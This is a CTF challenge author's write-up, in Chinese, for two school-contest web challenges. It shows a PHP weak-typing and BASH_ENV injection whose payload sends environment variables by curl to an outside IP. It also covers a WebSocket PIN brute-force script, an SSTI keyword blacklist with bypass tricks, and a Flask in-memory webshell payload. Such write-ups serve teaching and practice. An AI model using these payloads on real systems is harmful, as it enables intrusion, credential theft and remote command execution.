[SCUCTF2022]校赛Web出题笔记

前言

本次校赛我出了两个题,一个签到一个中等,由于自己的原因导致这两道题都出现了比较离谱的非预期,这里给师傅们谢罪了。

checkin


error_reporting(0);

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='inject'){
    die('Permission denied');
}

$lock = call_user_func(($_GET['Y']));
if (isset($_GET['env']) && $lock == "Web_Dog" && $action == 'inject') {
    foreach ($_GET["env"] as $k => $v) {
        putenv("{$k}={$v}");
    }

    system("bash -c 'snakin'");
    foreach ($_GET["env"] as $k => $v) {
        putenv("{$k}");
    }
}

?>

考点有两个:弱类型绕过和环境变量注入

绕过1:

三元运算这⾥直接⽤了highlight_file的返回值作为$_GET[‘a’] 的初始值

本地测试此函数的返回值:

 var_dump(highlight_file(__FILE__)); 

得到类型为:bool(true)

如果对$_GET['a']不进⾏赋值,则默认值为true

那么我们便可以绕过$action == 'inject'的判断

绕过2:

同样是弱类型比较,我们需要绕过call_user_func(($_GET['Y']))

call_user_func — 把第一个参数作为回调函数调用

那么我们只需找到一个调用后默认返回True的函数即可

这里使用session_start

绕过3:

简单的环境变量注入,给了bash -c,提示使用BASH_ENV,由于该变量默认无回显,利用curl外带数据即可

payload:

?env[BASH_ENV]=$(env | curl -d @- 1.117.171.248:39542)&Y=session_start

非预期:

呜呜呜把这个忘了

Y=phpinfo

Anya

进入后是一个登陆界面,当用户名输入错误时会提示Unknown user,我们猜测用户名为admin,此时用户名正确但是密码错误提示Incorrect PIN。F12查看源码,得到提示Hgg说这是什么垃圾密码居然只有三位

查看一下js代码,登陆验证逻辑如下:

document.querySelector("input[type=submit]").addEventListener("click", checkPassword);

function checkPassword(evt) {
	evt.preventDefault();
    //Create WebSocket connection
	const socket = new WebSocket("ws://" + window.location.host + "/internal/ws")
    // Listen for messages
	socket.addEventListener('message', (event) => {
		if (event.data == "begin") {
			socket.send("begin");
			socket.send("user " + document.querySelector("input[name=username]").value)
			socket.send("pass " + document.querySelector("input[name=password]").value)
		} else if (event.data == "baduser") {
			document.querySelector(".error").innerHTML = "Unknown user";
			socket.close()
		} else if (event.data == "badpass") {
			document.querySelector(".error").innerHTML = "Incorrect PIN";
			socket.close()
		} else if (event.data.startsWith("session ")) {
			document.cookie = "flask-session=" + event.data.replace("session ", "") + ";";
			socket.send("goodbye")
			socket.close()
			window.location = "/internal/user";
		} else {
			document.querySelector(".error").innerHTML = "Unknown error";
			socket.close()
		} 
	})
}

WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。

WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。

在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。

浏览器通过 JavaScript 向服务器发出建立 WebSocket 连接的请求,连接建立以后,客户端和服务器端就可以通过 TCP 连接直接交换数据。

当你获取 Web Socket 连接后,你可以通过 send() 方法来向服务器发送数据,并通过 onmessage 事件来接收服务器返回的数据。

那么根据代码可知,当用户名和密码验证成功就会跳转到/internal/user路由。那么我们利用python的websockets库模拟客户端进行暴力破解。

import asyncio
import websockets


async def auth_system(websocket, password):
    while True:
        begin_text = "begin"
        username = "user admin"
        password = "pass "+ password
        await websocket.send(begin_text)
        await websocket.send(username)
        await websocket.send(password)
        response_str = await websocket.recv()
        print(password +" " + response_str)
        if "session" in response_str:
            print("Your pwd is:"+password)
        elif "badpass" in response_str:
            return True

async def main_logic():
    Continue = True
    while Continue:
        for id in range(1000):
            password = str(id).zfill(3)
            async with websockets.connect('ws://1.117.171.248:8651/internal/ws') as websocket:
                Continue = await auth_system(websocket, str(password))
    
asyncio.get_event_loop().run_until_complete(main_logic())

爆破后进入,显示Hi,snakin.Tell me your name bro!

猜测需要提交一个name参数,简单测试一下会发现有WAF

黑名单如下:

bl = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9','\\', '+', 'class', 'init', 'config', 'self', 'globals', 'builtins', '{%', 'true','false', 'join', 'url_for', 'eval', 'session', 'lipsum', 'cycler', 'joiner', 'dir', 'first', 'last', '|','%','form','value','data','mro','base','cat','echo','$','env','export','system']

如果要执行命令我们可以考虑找__builtins__模块

__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如absmax,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval__import__等的函数,因此可以利用此来执行命令。

那么在测试后会发现get_flashed_messages没有被过滤,我们可以借此获取__builtins__模块。接下来可能就要考虑执行命令,但是这个过滤导致SSTI的payload很难构造,此时我们会想到利用flask内存马。(我删掉了env命令)

一个原始的payload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

在实际应用中往往都存在过滤:

  • url_for可替换为get_flashed_messages或者request.__init__或者request.application.
  • 代码执行函数替换, 如exec等替换eval.
  • 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
  • __globals__可用__getattribute__('__globa'+'ls__')替换.
  • []可用.__getitem__().pop()替换.
  • 过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
  • 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
  • 过滤了.可以采用attr()[]绕过.
  • 其它的手法参考SSTI绕过过滤的方法即可…

最终我们通过:

get_flashed_messages.__getattribute__('__globa'~'ls__').__getitem__('__bui'~'ltins__').__getitem__('ex'~'ec')("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':get_flashed_messages.__getattribute__('__globa'~'ls__')['_request_ctx_stack'],'app':get_flashed_messages.__getattribute__('__globa'~'ls__')['current_app']})

完成shell的写入,访问/shell路由

输出flag:

echo $FLAG

非预期:

实际上由于时间原因并没有过滤完全,导致可以直接利用os模块执行命令

{{get_flashed_messages[%22__globAls__%22.lower()][%22__buIltins__%22.lower()].__import__(%22os%22)[%22eNviron%22.lower()]}}

正确的过滤,应该遍历删除引号等再检查有没有字符存在,其中环境变量相关的函数需要全部检查。

env,environ,export,echo $flag四种

你可能感兴趣的:(刷题记录,web安全,安全)